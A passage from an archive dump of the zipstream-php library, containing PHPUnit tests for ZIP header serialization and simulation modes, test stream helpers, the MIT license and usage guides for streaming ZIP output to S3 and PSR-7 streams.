$this->getTmpFileStream(); $create = function (OperationMode $operationMode) use ($stream): int { $zip = new ZipStream( sendHttpHeaders: false, operationMode: $operationMode, defaultCompressionMethod: CompressionMethod::STORE, defaultEnableZeroHeader: false, outputStream: $stream, ); $zip->addFileFromPsr7Stream('sample.txt', new class () implements StreamInterface { public $pos = 0; public function __toString(): string { return 'test'; } public function close(): void { } public function detach() { } public function getSize(): ?int { return null; } public function tell(): int { return $this->pos; } public function eof(): bool { return $this->pos >= 4; } public function isSeekable(): bool { return true; } public function seek(int $offset, int $whence = SEEK_SET): void { $this->pos = $offset; } public function rewind(): void { $this->pos = 0; } public function isWritable(): bool { return false; } public function write(string $string): int { return 0; } public function isReadable(): bool { return true; } public function read(int $length): string { $data = substr('test', $this->pos, $length); $this->pos += strlen($data); return $data; } public function getContents(): string { return $this->read(4); } public function getMetadata(?string $key = null) { return $key !== null ? null : []; } }); return $zip->finish(); }; $sizeExpected = $create(OperationMode::NORMAL); $sizeActual = $create(OperationMode::SIMULATE_LAX); $this->assertEquals($sizeExpected, $sizeActual); } public function testAddFileSimulateWithWrongExactSize(): void { $this->expectException(FileSizeIncorrectException::class); $zip = new ZipStream( sendHttpHeaders: false, operationMode: OperationMode::SIMULATE_LAX, ); $zip->addFile('sample.txt', 'Sample String Data', exactSize: 1000); } public function testAddFileSimulateStrictZero(): void { $this->expectException(SimulationFileUnknownException::class); $zip = new ZipStream( sendHttpHeaders: false, operationMode: OperationMode::SIMULATE_STRICT, defaultEnableZeroHeader: true ); $zip->addFile('sample.txt', 'Sample String Data'); } public function testAddFileSimulateStrictInitial(): void { $this->expectException(SimulationFileUnknownException::class); $zip = new ZipStream( sendHttpHeaders: false, operationMode: OperationMode::SIMULATE_STRICT, defaultEnableZeroHeader: false ); $zip->addFile('sample.txt', 'Sample String Data'); } public function testAddFileCallbackStrict(): void { $this->expectException(SimulationFileUnknownException::class); $zip = new ZipStream( sendHttpHeaders: false, operationMode: OperationMode::SIMULATE_STRICT, defaultEnableZeroHeader: false ); $zip->addFileFromCallback('sample.txt', callback: function () { return ''; }); } public function testAddFileCallbackLax(): void { $zip = new ZipStream( operationMode: OperationMode::SIMULATE_LAX, defaultEnableZeroHeader: false, sendHttpHeaders: false, ); $zip->addFileFromCallback('sample.txt', callback: function () { return 'Sample String Data'; }); $size = $zip->finish(); $this->assertEquals($size, 142); } public function testExecuteSimulation(): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( operationMode: OperationMode::SIMULATE_LAX, defaultEnableZeroHeader: false, sendHttpHeaders: false, outputStream: $stream, ); $zip->addFileFromCallback( 'sample.txt', exactSize: 18, callback: function () { return 'Sample String Data'; } ); $size = $zip->finish(); $this->assertEquals(filesize($tmp), 0); $zip->executeSimulation(); fclose($stream); clearstatcache(); $this->assertEquals(filesize($tmp), $size); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame(['sample.txt'], $files); } public function testExecuteSimulationBeforeFinish(): void { $this->expectException(RuntimeException::class); [, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( operationMode: OperationMode::SIMULATE_LAX, defaultEnableZeroHeader: false, sendHttpHeaders: false, outputStream: $stream, ); $zip->executeSimulation(); } private function addLargeFileFileFromPath(CompressionMethod $compressionMethod, $zeroHeader, $zip64): void { [$tmp, $stream] = $this->getTmpFileStream(); $zip = new ZipStream( outputStream: $stream, sendHttpHeaders: false, defaultEnableZeroHeader: $zeroHeader, enableZip64: $zip64, ); [$tmpExample, $streamExample] = $this->getTmpFileStream(); for ($i = 0; $i <= 10000; $i++) { fwrite($streamExample, sha1((string)$i)); if ($i % 100 === 0) { fwrite($streamExample, "\n"); } } fclose($streamExample); $shaExample = sha1_file($tmpExample); $zip->addFileFromPath('sample.txt', $tmpExample); unlink($tmpExample); $zip->finish(); fclose($stream); $tmpDir = $this->validateAndExtractZip($tmp); $files = $this->getRecursiveFileList($tmpDir); $this->assertSame(['sample.txt'], $files); $this->assertSame(sha1_file($tmpDir . '/sample.txt'), $shaExample, "SHA-1 Mismatch Method: {$compressionMethod->value}"); } } maennchen/zipstream-php/test/EndOfCentralDirectoryTest.php000064400000002552151676714400020043 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test; use PHPUnit\Framework\TestCase; use ZipStream\EndOfCentralDirectory; class EndOfCentralDirectoryTest extends TestCase { public function testSerializesCorrectly(): void { $this->assertSame( bin2hex(EndOfCentralDirectory::generate( numberOfThisDisk: 0x00, numberOfTheDiskWithCentralDirectoryStart: 0x00, numberOfCentralDirectoryEntriesOnThisDisk: 0x10, numberOfCentralDirectoryEntries: 0x10, sizeOfCentralDirectory: 0x22, centralDirectoryStartOffsetOnDisk: 0x33, zipFileComment: 'foo', )), '504b0506' . // 4 bytes; end of central dir signature 0x06054b50 '0000' . // 2 bytes; number of this disk '0000' . // 2 bytes; number of the disk with the start of the central directory '1000' . // 2 bytes; total number of entries in the central directory on this disk '1000' . // 2 bytes; total number of entries in the central directory '22000000' . // 4 bytes; size of the central directory '33000000' . // 4 bytes; offset of start of central directory with respect to the starting disk number '0300' . // 2 bytes; .ZIP file comment length bin2hex('foo') ); } } maennchen/zipstream-php/test/EndlessCycleStream.php000064400000003762151676714400016547 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test; use Psr\Http\Message\StreamInterface; use RuntimeException; class EndlessCycleStream implements StreamInterface { private int $offset = 0; public function __construct(private readonly string $toRepeat = '0') { } public function __toString(): string { throw new RuntimeException('Infinite Stream!'); } public function close(): void { $this->detach(); } /** * @return null */ public function detach() { return; } public function getSize(): ?int { return null; } public function tell(): int { return $this->offset; } public function eof(): bool { return false; } public function isSeekable(): bool { return true; } public function seek(int $offset, int $whence = SEEK_SET): void { switch($whence) { case SEEK_SET: $this->offset = $offset; break; case SEEK_CUR: $this->offset += $offset; break; case SEEK_END: throw new RuntimeException('Infinite Stream!'); break; } } public function rewind(): void { $this->seek(0); } public function isWritable(): bool { return false; } public function write(string $string): int { throw new RuntimeException('Not writeable'); } public function isReadable(): bool { return true; } public function read(int $length): string { $this->offset += $length; return substr(str_repeat($this->toRepeat, (int) ceil($length / strlen($this->toRepeat))), 0, $length); } public function getContents(): string { throw new RuntimeException('Infinite Stream!'); } public function getMetadata(?string $key = null): array|null { return $key !== null ? null : []; } } maennchen/zipstream-php/test/Zip64/EndOfCentralDirectoryTest.php000064400000003413151676714400020754 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test\Zip64; use PHPUnit\Framework\TestCase; use ZipStream\Zip64\EndOfCentralDirectory; class EndOfCentralDirectoryTest extends TestCase { public function testSerializesCorrectly(): void { $descriptor = EndOfCentralDirectory::generate( versionMadeBy: 0x3333, versionNeededToExtract: 0x4444, numberOfThisDisk: 0x55555555, numberOfTheDiskWithCentralDirectoryStart: 0x66666666, numberOfCentralDirectoryEntriesOnThisDisk: (0x77777777 << 32) + 0x88888888, numberOfCentralDirectoryEntries: (0x99999999 << 32) + 0xAAAAAAAA, sizeOfCentralDirectory: (0xBBBBBBBB << 32) + 0xCCCCCCCC, centralDirectoryStartOffsetOnDisk: (0xDDDDDDDD << 32) + 0xEEEEEEEE, extensibleDataSector: 'foo', ); $this->assertSame( bin2hex($descriptor), '504b0606' . // 4 bytes;zip64 end of central dir signature - 0x06064b50 '2f00000000000000' . // 8 bytes; size of zip64 end of central directory record '3333' . // 2 bytes; version made by '4444' . // 2 bytes; version needed to extract '55555555' . // 4 bytes; number of this disk '66666666' . // 4 bytes; number of the disk with the start of the central directory '8888888877777777' . // 8 bytes; total number of entries in the central directory on this disk 'aaaaaaaa99999999' . // 8 bytes; total number of entries in the central directory 'ccccccccbbbbbbbb' . // 8 bytes; size of the central directory 'eeeeeeeedddddddd' . // 8 bytes; offset of start of central directory with respect to the starting disk number bin2hex('foo') ); } } maennchen/zipstream-php/test/Zip64/DataDescriptorTest.php000064400000001465151676714400017500 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test\Zip64; use PHPUnit\Framework\TestCase; use ZipStream\Zip64\DataDescriptor; class DataDescriptorTest extends TestCase { public function testSerializesCorrectly(): void { $descriptor = DataDescriptor::generate( crc32UncompressedData: 0x11111111, compressedSize: (0x77777777 << 32) + 0x66666666, uncompressedSize: (0x99999999 << 32) + 0x88888888, ); $this->assertSame( bin2hex($descriptor), '504b0708' . // 4 bytes; Optional data descriptor signature = 0x08074b50 '11111111' . // 4 bytes; CRC-32 of uncompressed data '6666666677777777' . // 8 bytes; Compressed size '8888888899999999' // 8 bytes; Uncompressed size ); } } maennchen/zipstream-php/test/Zip64/EndOfCentralDirectoryLocatorTest.php000064400000001730151676714400022300 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test\Zip64; use PHPUnit\Framework\TestCase; use ZipStream\Zip64\EndOfCentralDirectoryLocator; class EndOfCentralDirectoryLocatorTest extends TestCase { public function testSerializesCorrectly(): void { $descriptor = EndOfCentralDirectoryLocator::generate( numberOfTheDiskWithZip64CentralDirectoryStart: 0x11111111, zip64centralDirectoryStartOffsetOnDisk: (0x22222222 << 32) + 0x33333333, totalNumberOfDisks: 0x44444444, ); $this->assertSame( bin2hex($descriptor), '504b0607' . // 4 bytes; zip64 end of central dir locator signature - 0x07064b50 '11111111' . // 4 bytes; number of the disk with the start of the zip64 end of central directory '3333333322222222' . // 28 bytes; relative offset of the zip64 end of central directory record '44444444' // 4 bytes;total number of disks ); } } maennchen/zipstream-php/test/Zip64/ExtendedInformationExtraFieldTest.php000064400000002577151676714400022513 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test\Zip64; use PHPUnit\Framework\TestCase; use ZipStream\Zip64\ExtendedInformationExtraField; class ExtendedInformationExtraFieldTest extends TestCase { public function testSerializesCorrectly(): void { $extraField = ExtendedInformationExtraField::generate( originalSize: (0x77777777 << 32) + 0x66666666, compressedSize: (0x99999999 << 32) + 0x88888888, relativeHeaderOffset: (0x22222222 << 32) + 0x11111111, diskStartNumber: 0x33333333, ); $this->assertSame( bin2hex($extraField), '0100' . // 2 bytes; Tag for this "extra" block type '1c00' . // 2 bytes; Size of this "extra" block '6666666677777777' . // 8 bytes; Original uncompressed file size '8888888899999999' . // 8 bytes; Size of compressed data '1111111122222222' . // 8 bytes; Offset of local header record '33333333' // 4 bytes; Number of the disk on which this file starts ); } public function testSerializesEmptyCorrectly(): void { $extraField = ExtendedInformationExtraField::generate(); $this->assertSame( bin2hex($extraField), '0100' . // 2 bytes; Tag for this "extra" block type '0000' // 2 bytes; Size of this "extra" block ); } } maennchen/zipstream-php/test/CentralDirectoryFileHeaderTest.php000064400000004332151676714400021036 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test; use DateTimeImmutable; use PHPUnit\Framework\TestCase; use ZipStream\CentralDirectoryFileHeader; use ZipStream\CompressionMethod; class CentralDirectoryFileHeaderTest extends TestCase { public function testSerializesCorrectly(): void { $dateTime = new DateTimeImmutable('2022-01-01 01:01:01Z'); $header = CentralDirectoryFileHeader::generate( versionMadeBy: 0x603, versionNeededToExtract: 0x002D, generalPurposeBitFlag: 0x2222, compressionMethod: CompressionMethod::DEFLATE, lastModificationDateTime: $dateTime, crc32: 0x11111111, compressedSize: 0x77777777, uncompressedSize: 0x99999999, fileName: 'test.png', extraField: 'some content', fileComment: 'some comment', diskNumberStart: 0, internalFileAttributes: 0, externalFileAttributes: 32, relativeOffsetOfLocalHeader: 0x1234, ); $this->assertSame( bin2hex($header), '504b0102' . // 4 bytes; central file header signature '0306' . // 2 bytes; version made by '2d00' . // 2 bytes; version needed to extract '2222' . // 2 bytes; general purpose bit flag '0800' . // 2 bytes; compression method '2008' . // 2 bytes; last mod file time '2154' . // 2 bytes; last mod file date '11111111' . // 4 bytes; crc-32 '77777777' . // 4 bytes; compressed size '99999999' . // 4 bytes; uncompressed size '0800' . // 2 bytes; file name length (n) '0c00' . // 2 bytes; extra field length (m) '0c00' . // 2 bytes; file comment length (o) '0000' . // 2 bytes; disk number start '0000' . // 2 bytes; internal file attributes '20000000' . // 4 bytes; external file attributes '34120000' . // 4 bytes; relative offset of local header '746573742e706e67' . // n bytes; file name '736f6d6520636f6e74656e74' . // m bytes; extra field '736f6d6520636f6d6d656e74' // o bytes; file comment ); } } maennchen/zipstream-php/test/Zs/ExtendedInformationExtraFieldTest.php000064400000001017151676714400022157 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test\Zs; use PHPUnit\Framework\TestCase; use ZipStream\Zs\ExtendedInformationExtraField; class ExtendedInformationExtraFieldTest extends TestCase { public function testSerializesCorrectly(): void { $extraField = ExtendedInformationExtraField::generate(); $this->assertSame( bin2hex((string) $extraField), '5356' . // 2 bytes; Tag for this "extra" block type '0000' // 2 bytes; TODO: Document ); } } maennchen/zipstream-php/test/DataDescriptorTest.php000064400000001332151676714400016555 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test; use PHPUnit\Framework\TestCase; use ZipStream\DataDescriptor; class DataDescriptorTest extends TestCase { public function testSerializesCorrectly(): void { $this->assertSame( bin2hex(DataDescriptor::generate( crc32UncompressedData: 0x11111111, compressedSize: 0x77777777, uncompressedSize: 0x99999999, )), '504b0708' . // 4 bytes; Optional data descriptor signature = 0x08074b50 '11111111' . // 4 bytes; CRC-32 of uncompressed data '77777777' . // 4 bytes; Compressed size '99999999' // 4 bytes; Uncompressed size ); } } maennchen/zipstream-php/test/ResourceStream.php000064400000007565151676714400015766 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test; use Psr\Http\Message\StreamInterface; use RuntimeException; /** * @internal */ class ResourceStream implements StreamInterface { public function __construct( /** * @var resource */ private $stream ) { } public function __toString(): string { if ($this->isSeekable()) { $this->seek(0); } return (string) stream_get_contents($this->stream); } public function close(): void { $stream = $this->detach(); if ($stream) { fclose($stream); } } public function detach() { $result = $this->stream; // According to the interface, the stream is left in an unusable state; /** @psalm-suppress PossiblyNullPropertyAssignmentValue */ $this->stream = null; return $result; } public function seek(int $offset, int $whence = SEEK_SET): void { if (!$this->isSeekable()) { throw new RuntimeException(); } if (fseek($this->stream, $offset, $whence) !== 0) { // @codeCoverageIgnoreStart throw new RuntimeException(); // @codeCoverageIgnoreEnd } } public function isSeekable(): bool { return (bool)$this->getMetadata('seekable'); } public function getMetadata(?string $key = null) { $metadata = stream_get_meta_data($this->stream); return $key !== null ? @$metadata[$key] : $metadata; } public function getSize(): ?int { $stats = fstat($this->stream); return $stats['size']; } public function tell(): int { $position = ftell($this->stream); if ($position === false) { // @codeCoverageIgnoreStart throw new RuntimeException(); // @codeCoverageIgnoreEnd } return $position; } public function eof(): bool { return feof($this->stream); } public function rewind(): void { $this->seek(0); } public function write(string $string): int { if (!$this->isWritable()) { throw new RuntimeException(); } if (fwrite($this->stream, $string) === false) { // @codeCoverageIgnoreStart throw new RuntimeException(); // @codeCoverageIgnoreEnd } return strlen($string); } public function isWritable(): bool { $mode = $this->getMetadata('mode'); if (!is_string($mode)) { // @codeCoverageIgnoreStart throw new RuntimeException('Could not get stream mode from metadata!'); // @codeCoverageIgnoreEnd } return preg_match('/[waxc+]/', $mode) === 1; } public function read(int $length): string { if (!$this->isReadable()) { throw new RuntimeException(); } $result = fread($this->stream, $length); if ($result === false) { // @codeCoverageIgnoreStart throw new RuntimeException(); // @codeCoverageIgnoreEnd } return $result; } public function isReadable(): bool { $mode = $this->getMetadata('mode'); if (!is_string($mode)) { // @codeCoverageIgnoreStart throw new RuntimeException('Could not get stream mode from metadata!'); // @codeCoverageIgnoreEnd } return preg_match('/[r+]/', $mode) === 1; } public function getContents(): string { if (!$this->isReadable()) { throw new RuntimeException(); } $result = stream_get_contents($this->stream); if ($result === false) { // @codeCoverageIgnoreStart throw new RuntimeException(); // @codeCoverageIgnoreEnd } return $result; } } maennchen/zipstream-php/test/Util.php000064400000006765151676714400013741 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test; use function fgets; use function pclose; use function popen; use function preg_match; use RecursiveDirectoryIterator; use RecursiveIteratorIterator; use function strtolower; use ZipArchive; trait Util { protected function getTmpFileStream(): array { $tmp = tempnam(sys_get_temp_dir(), 'zipstreamtest'); $stream = fopen($tmp, 'wb+'); return [$tmp, $stream]; } protected function cmdExists(string $command): bool { if (strtolower(\substr(PHP_OS, 0, 3)) === 'win') { $fp = popen("where $command", 'r'); $result = fgets($fp, 255); $exists = !preg_match('#Could not find files#', $result); pclose($fp); } else { // non-Windows $fp = popen("which $command", 'r'); $result = fgets($fp, 255); $exists = !empty($result); pclose($fp); } return $exists; } protected function dumpZipContents(string $path): string { if (!$this->cmdExists('hexdump')) { return ''; } $output = []; if (!exec("hexdump -C \"$path\" | head -n 50", $output)) { return ''; } return "\nHexdump:\n" . implode("\n", $output); } protected function validateAndExtractZip(string $zipPath): string { $tmpDir = $this->getTmpDir(); $zipArchive = new ZipArchive(); $result = $zipArchive->open($zipPath); if ($result !== true) { $codeName = $this->zipArchiveOpenErrorCodeName($result); $debugInformation = $this->dumpZipContents($zipPath); $this->fail("Failed to open {$zipPath}. Code: $result ($codeName)$debugInformation"); return $tmpDir; } $this->assertSame(0, $zipArchive->status); $this->assertSame(0, $zipArchive->statusSys); $zipArchive->extractTo($tmpDir); $zipArchive->close(); return $tmpDir; } protected function zipArchiveOpenErrorCodeName(int $code): string { switch($code) { case ZipArchive::ER_EXISTS: return 'ER_EXISTS'; case ZipArchive::ER_INCONS: return 'ER_INCONS'; case ZipArchive::ER_INVAL: return 'ER_INVAL'; case ZipArchive::ER_MEMORY: return 'ER_MEMORY'; case ZipArchive::ER_NOENT: return 'ER_NOENT'; case ZipArchive::ER_NOZIP: return 'ER_NOZIP'; case ZipArchive::ER_OPEN: return 'ER_OPEN'; case ZipArchive::ER_READ: return 'ER_READ'; case ZipArchive::ER_SEEK: return 'ER_SEEK'; default: return 'unknown'; } } protected function getTmpDir(): string { $tmp = tempnam(sys_get_temp_dir(), 'zipstreamtest'); unlink($tmp); mkdir($tmp) or $this->fail('Failed to make directory'); return $tmp; } /** * @return string[] */ protected function getRecursiveFileList(string $path, bool $includeDirectories = false): array { $data = []; $path = (string)realpath($path); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $pathLen = strlen($path); foreach ($files as $file) { $filePath = $file->getRealPath(); if (is_dir($filePath) && !$includeDirectories) { continue; } $data[] = substr($filePath, $pathLen + 1); } sort($data); return $data; } } maennchen/zipstream-php/test/TimeTest.php000064400000001570151676714400014547 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test; use DateTimeImmutable; use PHPUnit\Framework\TestCase; use ZipStream\Exception\DosTimeOverflowException; use ZipStream\Time; class TimeTest extends TestCase { public function testNormalDateToDosTime(): void { $this->assertSame( Time::dateTimeToDosTime(new DateTimeImmutable('2014-11-17T17:46:08Z')), 1165069764 ); // January 1 1980 - DOS Epoch. $this->assertSame( Time::dateTimeToDosTime(new DateTimeImmutable('1980-01-01T00:00:00+00:00')), 2162688 ); } public function testTooEarlyDateToDosTime(): void { $this->expectException(DosTimeOverflowException::class); // January 1 1980 is the minimum DOS Epoch. Time::dateTimeToDosTime(new DateTimeImmutable('1970-01-01T00:00:00+00:00')); } } maennchen/zipstream-php/test/bootstrap.php000064400000000161151676714400015021 0ustar00<?php declare(strict_types=1); date_default_timezone_set('UTC'); require __DIR__ . '/../vendor/autoload.php'; maennchen/zipstream-php/test/Assertions.php000064400000002032151676714400015135 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test; trait Assertions { protected function assertFileContains(string $filePath, string $needle): void { $last = ''; $handle = fopen($filePath, 'r'); while (!feof($handle)) { $line = fgets($handle, 1024); if(str_contains($last . $line, $needle)) { fclose($handle); return; } $last = $line; } fclose($handle); $this->fail("File {$filePath} must contain {$needle}"); } protected function assertFileDoesNotContain(string $filePath, string $needle): void { $last = ''; $handle = fopen($filePath, 'r'); while (!feof($handle)) { $line = fgets($handle, 1024); if(str_contains($last . $line, $needle)) { fclose($handle); $this->fail("File {$filePath} must not contain {$needle}"); } $last = $line; } fclose($handle); } } maennchen/zipstream-php/test/PackFieldTest.php000064400000001656151676714400015500 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test; use PHPUnit\Framework\TestCase; use RuntimeException; use ZipStream\PackField; class PackFieldTest extends TestCase { public function testPacksFields(): void { $this->assertSame( bin2hex(PackField::pack(new PackField(format: 'v', value: 0x1122))), '2211', ); } public function testOverflow2(): void { $this->expectException(RuntimeException::class); PackField::pack(new PackField(format: 'v', value: 0xFFFFF)); } public function testOverflow4(): void { $this->expectException(RuntimeException::class); PackField::pack(new PackField(format: 'V', value: 0xFFFFFFFFF)); } public function testUnknownOperator(): void { $this->assertSame( bin2hex(PackField::pack(new PackField(format: 'a', value: 0x1122))), '34', ); } } maennchen/zipstream-php/test/LocalFileHeaderTest.php000064400000003311151676714400016607 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test; use DateTimeImmutable; use PHPUnit\Framework\TestCase; use ZipStream\CompressionMethod; use ZipStream\LocalFileHeader; class LocalFileHeaderTest extends TestCase { public function testSerializesCorrectly(): void { $dateTime = new DateTimeImmutable('2022-01-01 01:01:01Z'); $header = LocalFileHeader::generate( versionNeededToExtract: 0x002D, generalPurposeBitFlag: 0x2222, compressionMethod: CompressionMethod::DEFLATE, lastModificationDateTime: $dateTime, crc32UncompressedData: 0x11111111, compressedSize: 0x77777777, uncompressedSize: 0x99999999, fileName: 'test.png', extraField: 'some content' ); $this->assertSame( bin2hex((string) $header), '504b0304' . // 4 bytes; Local file header signature '2d00' . // 2 bytes; Version needed to extract (minimum) '2222' . // 2 bytes; General purpose bit flag '0800' . // 2 bytes; Compression method; e.g. none = 0, DEFLATE = 8 '2008' . // 2 bytes; File last modification time '2154' . // 2 bytes; File last modification date '11111111' . // 4 bytes; CRC-32 of uncompressed data '77777777' . // 4 bytes; Compressed size (or 0xffffffff for ZIP64) '99999999' . // 4 bytes; Uncompressed size (or 0xffffffff for ZIP64) '0800' . // 2 bytes; File name length (n) '0c00' . // 2 bytes; Extra field length (m) '746573742e706e67' . // n bytes; File name '736f6d6520636f6e74656e74' // m bytes; Extra field ); } } maennchen/zipstream-php/test/FaultInjectionResource.php000064400000006163151676714400017442 0ustar00<?php declare(strict_types=1); namespace ZipStream\Test; class FaultInjectionResource { public const NAME = 'zipstream-php-test-broken-resource'; /** @var resource */ public $context; private array $injectFaults; private string $mode; /** * @return resource */ public static function getResource(array $injectFaults) { self::register(); return fopen(self::NAME . '://foobar', 'rw+', false, self::createStreamContext($injectFaults)); } public function stream_open(string $path, string $mode, int $options, string &$opened_path = null): bool { $options = stream_context_get_options($this->context); if (!isset($options[self::NAME]['injectFaults'])) { return false; } $this->mode = $mode; $this->injectFaults = $options[self::NAME]['injectFaults']; if ($this->shouldFail(__FUNCTION__)) { return false; } return true; } public function stream_write(string $data) { if ($this->shouldFail(__FUNCTION__)) { return false; } return true; } public function stream_eof() { return true; } public function stream_seek(int $offset, int $whence): bool { if ($this->shouldFail(__FUNCTION__)) { return false; } return true; } public function stream_tell(): int { if ($this->shouldFail(__FUNCTION__)) { return false; } return 0; } public static function register(): void { if (!in_array(self::NAME, stream_get_wrappers(), true)) { stream_wrapper_register(self::NAME, __CLASS__); } } public function stream_stat(): array { static $modeMap = [ 'r' => 33060, 'rb' => 33060, 'r+' => 33206, 'w' => 33188, 'wb' => 33188, ]; return [ 'dev' => 0, 'ino' => 0, 'mode' => $modeMap[$this->mode], 'nlink' => 0, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 0, 'atime' => 0, 'mtime' => 0, 'ctime' => 0, 'blksize' => 0, 'blocks' => 0, ]; } public function url_stat(string $path, int $flags): array { return [ 'dev' => 0, 'ino' => 0, 'mode' => 0, 'nlink' => 0, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 0, 'atime' => 0, 'mtime' => 0, 'ctime' => 0, 'blksize' => 0, 'blocks' => 0, ]; } private static function createStreamContext(array $injectFaults) { return stream_context_create([ self::NAME => ['injectFaults' => $injectFaults], ]); } private function shouldFail(string $function): bool { return in_array($function, $this->injectFaults, true); } } maennchen/zipstream-php/LICENSE000064400000002361151676714400012325 0ustar00MIT License Copyright (C) 2007-2009 Paul Duncan <pabs@pablotron.org> Copyright (C) 2014 Jonatan Männchen <jonatan@maennchen.ch> Copyright (C) 2014 Jesse G. Donat <donatj@gmail.com> Copyright (C) 2018 Nicolas CARPi <nicolas.carpi@curie.fr> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. maennchen/zipstream-php/guides/StreamOutput.rst000064400000001470151676714400016006 0ustar00Stream Output =============== Stream to S3 Bucket --------------- .. code-block:: php use Aws\S3\S3Client; use Aws\Credentials\CredentialProvider; use ZipStream\ZipStream; $bucket = 'your bucket name'; $client = new S3Client([ 'region' => 'your region', 'version' => 'latest', 'bucketName' => $bucket, 'credentials' => CredentialProvider::defaultProvider(), ]); $client->registerStreamWrapper(); $zipFile = fopen("s3://$bucket/example.zip", 'w'); $zip = new ZipStream( enableZip64: false, outputStream: $zipFile, ); $zip->addFile( fileName: 'file1.txt', data: 'File1 data', ); $zip->addFile( fileName: 'file2.txt', data: 'File2 data', ); $zip->finish(); fclose($zipFile); maennchen/zipstream-php/guides/Options.rst000064400000004260151676714400014765 0ustar00Available options =============== Here is the full list of options available to you. You can also have a look at ``src/ZipStream.php`` file. .. code-block:: php use ZipStream\ZipStream; require_once 'vendor/autoload.php'; $zip = new ZipStream( // Define output stream // (argument is eiter a resource or implementing // `Psr\Http\Message\StreamInterface`) // // Setup with `psr/http-message` & `guzzlehttp/psr7` dependencies // required when using `Psr\Http\Message\StreamInterface`. outputStream: $filePointer, // Set the deflate level (default is 6; use -1 to disable it) defaultDeflateLevel: 6, // Add a comment to the zip file comment: 'This is a comment.', // Send http headers (default is true) sendHttpHeaders: false, // HTTP Content-Disposition. // Defaults to 'attachment', where FILENAME is the specified filename. // Note that this does nothing if you are not sending HTTP headers. contentDisposition: 'attachment', // Output Name for HTTP Content-Disposition // Defaults to no name outputName: "example.zip", // HTTP Content-Type. // Defaults to 'application/x-zip'. // Note that this does nothing if you are not sending HTTP headers. contentType: 'application/x-zip', // Set the function called for setting headers. // Default is the `header()` of PHP httpHeaderCallback: header(...), // Enable streaming files with single read where general purpose bit 3 // indicates local file header contain zero values in crc and size // fields, these appear only after file contents in data descriptor // block. // Set to true if your input stream is remote // (used with addFileFromStream()). // Default is false. defaultEnableZeroHeader: false, // Enable zip64 extension, allowing very large archives // (> 4Gb or file count > 64k) // Default is true enableZip64: true, // Flush output buffer after every write // Default is false flushOutput: true, ); maennchen/zipstream-php/guides/PSR7Streams.rst000064400000001032151676714400015416 0ustar00Usage with PSR 7 Streams =============== PSR-7 streams are `standardized streams <https://www.php-fig.org/psr/psr-7/>`_. ZipStream-PHP supports working with these streams with the function ``addFileFromPsr7Stream``. For all parameters of the function see the API documentation. Example --------------- .. code-block:: php $stream = $response->getBody(); // add a file named 'streamfile.txt' from the content of the stream $zip->addFileFromPsr7Stream( fileName: 'streamfile.txt', stream: $stream, ); maennchen/zipstream-php/guides/index.rst000064400000007670151676714400014451 0ustar00ZipStream PHP ============= A fast and simple streaming zip file downloader for PHP. Using this library will save you from having to write the Zip to disk. You can directly send it to the user, which is much faster. It can work with S3 buckets or any PSR7 Stream. .. toctree:: index Symfony Options StreamOutput FlySystem PSR7Streams Nginx Varnish ContentLength Installation --------------- Simply add a dependency on ``maennchen/zipstream-php`` to your project's ``composer.json`` file if you use Composer to manage the dependencies of your project. Use following command to add the package to your project's dependencies: .. code-block:: sh composer require maennchen/zipstream-php If you want to use``addFileFromPsr7Stream``` (``Psr\Http\Message\StreamInterface``) or use a stream instead of a ``resource`` as ``outputStream``, the following dependencies must be installed as well: .. code-block:: sh composer require psr/http-message guzzlehttp/psr7 If ``composer install`` yields the following error, your installation is missing the `mbstring extension <https://www.php.net/manual/en/book.mbstring.php>`_, either `install it <https://www.php.net/manual/en/mbstring.installation.php>`_ or run the follwoing command: .. code-block:: Your requirements could not be resolved to an installable set of packages. Problem 1 - Root composer.json requires PHP extension ext-mbstring * but it is missing from your system. Install or enable PHP's mbstrings extension. .. code-block:: sh composer require symfony/polyfill-mbstring Usage Intro --------------- Here's a simple example: .. code-block:: php // Autoload the dependencies require 'vendor/autoload.php'; // create a new zipstream object $zip = new ZipStream\ZipStream( outputName: 'example.zip', // enable output of HTTP headers sendHttpHeaders: true, ); // create a file named 'hello.txt' $zip->addFile( fileName: 'hello.txt', data: 'This is the contents of hello.txt', ); // add a file named 'some_image.jpg' from a local file 'path/to/image.jpg' $zip->addFileFromPath( fileName: 'some_image.jpg', path: 'path/to/image.jpg', ); // add a file named 'goodbye.txt' from an open stream resource $filePointer = tmpfile(); fwrite($filePointer, 'The quick brown fox jumped over the lazy dog.'); rewind($filePointer); $zip->addFileFromStream( fileName: 